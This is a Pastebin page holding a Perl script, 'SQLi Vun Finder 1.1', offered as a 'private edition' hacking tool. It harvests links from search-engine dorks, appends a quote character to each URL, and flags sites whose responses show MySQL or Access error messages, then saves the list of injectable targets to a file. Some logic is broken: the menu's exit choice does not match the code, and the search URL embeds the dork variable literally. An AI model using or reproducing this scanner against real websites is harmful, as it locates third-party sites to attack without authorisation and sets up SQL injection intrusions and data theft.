Advertisement
MLWALK3R

SQLi Vun Finder 1.1 [ Perl ]

Mar 10th, 2012
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.87 KB | None | 0 0
  1.     #!/usr/bin/perl
  2.      
  3.     use strict;
  4.     use warnings;
  5.     use HTTP::Request;
  6.     use LWP::UserAgent;
  7.      
  8.     ###############
  9.     my $dork;
  10.     my $url;
  11.     my $i;
  12.     my $request;
  13.     my $useragent;
  14.     my $response;
  15.     my $start;
  16.     my $end;
  17.     my $result;
  18.     my $fl;
  19.     my $link;
  20.     my $req;
  21.     my $ua;
  22.     my $result2;
  23.     my $res;
  24.     my $save;
  25.     my $pages;
  26.     my $page;
  27.     my $choice;
  28.     ##############
  29.     my @z;
  30.      
  31.     print q{
  32.          _ ____        _  
  33.         | |  _ \      | |  
  34.       __| | |_) | ___ | |_
  35.      / _` |  _ < / _ \| __|
  36.     | (_| | |_) | (_) | |_
  37.      \__,_|____/ \___/ \__|
  38.                            
  39.     ################################
  40.     ##      / SQLi Crawler /      ##
  41.     ##      Private Edition       ##
  42.     ##       ~Coded by dbx~       ##
  43.     ##        Versions  1.1       ##  
  44.     ##     Updated By ~WALK3R~    ##
  45.     ################################
  46.      
  47.     };
  48.      
  49.     MainMenu:
  50.      
  51.     print "------------------------\n";
  52.     print "Enter [1] To Begin SQLi.\n";
  53.     print "Enter [2] To Exit.\n";
  54.     print "------------------------\n\n";
  55.     print "Your Choice: ";
  56.      
  57.     chomp ($choice = <STDIN>);
  58.     print "\n";
  59.      
  60.     if ($choice eq 1) {&sql_scan}
  61.     if ($choice eq 5) {die;}
  62.      
  63.     sub sql_scan
  64.     {
  65.      
  66.     print "[+] Enter Bing! dork: ";
  67.     chomp ($dork = <STDIN>);
  68.     print "\n";
  69.     print "[+] How Many Pages To Leech?: ";
  70.     chomp ($pages = <STDIN>);
  71.     print "\n";
  72.      
  73.     $page = $pages.'1';
  74.      
  75.     print "[~] Crawling...\n\n";
  76.      
  77.     for ($i = 0; $i <= $page; $i=$i+11)
  78.     {
  79.      
  80.     $url = "http://www.google.co.uk/#hl=en&safe=off&sclient=psy-ab&q=%24dork&oq=%24dork&aq=f&aqi=g-C4&aql=&gs_sm=12&gs_upl=699l699l0l1721l1l1l0l0l0l0l130l130l0.1l1l0&gs_l=hp.12..0i33l4.699l699l0l1722l1l1l0l0l0l0l130l130l0j1l1l0&pbx=1&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=e325bd1c2d99c923&biw=1183&bih=715";
  81.      
  82.     $request = HTTP::Request->new(GET => $url);
  83.     $useragent = LWP::UserAgent->new();
  84.     $response = $useragent->request($request);
  85.     $result = $response->content;
  86.      
  87.     $start = '<h3><a href="';
  88.     $end = '" onmousedown=';
  89.      
  90.     while ($result =~ m/$start(.*?)$end/g)
  91.      
  92.     {
  93.              $fl = $1;
  94.              $link = $fl."%27";
  95.              $req = HTTP::Request->new(GET => $link);
  96.              $ua = LWP::UserAgent->new();
  97.              $res = $ua->request($req);
  98.              $result2 = $res->content;
  99.      
  100.               if ($result2=~ m/You have an error in your SQL syntax/i || $result2=~ m/Query failed/i || $result2=~ m/SQL query failed/i || $result2=~ m/mysql_fetch_/i || $result2=~ m/mysql_fetch_array/i || $result2 =~ m/mysql_num_rows/i || $result2 =~ m/The used SELECT statements have a different number of columns/i )
  101.               {
  102.                     push @z, $link;
  103.                     print "[+] MySQL Vulnerable: $link\n\n";
  104.               }
  105.      
  106.               elsif ($result2 =~ m/Microsoft JET Database/i || $result2 =~ m/ODBC Microsoft Access Driver/i )
  107.               {
  108.                     push @z, $link;
  109.                     print "[+] MsSQL Vulnerable: $link\n\n";
  110.               }
  111.      
  112.               else {
  113.                    
  114.                             print "[-] $link <- Not Vulnerable\n\n";
  115.               }
  116.     }
  117.      
  118.     }
  119.             print "Vulnerable Links:\n";
  120.             print "-----------------------------------\n";
  121.     foreach (@z)
  122.     {
  123.             print "$_ \n\n";
  124.     }
  125.     print "Save Into A Text File? (Y or N): ";
  126.     chomp ($save = <STDIN>);
  127.      
  128.     if ($save eq 'Y')
  129.     {
  130.             print "Saving File...\n\n";
  131.             open(vuln_file, ">>Vulns.txt");
  132.             foreach (@z)
  133.             {
  134.                     print vuln_file "$_ \n";
  135.             }
  136.             close(vuln_file);
  137.             print "File Saved!\n\n";
  138.     }
  139.     goto MainMenu;
  140.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement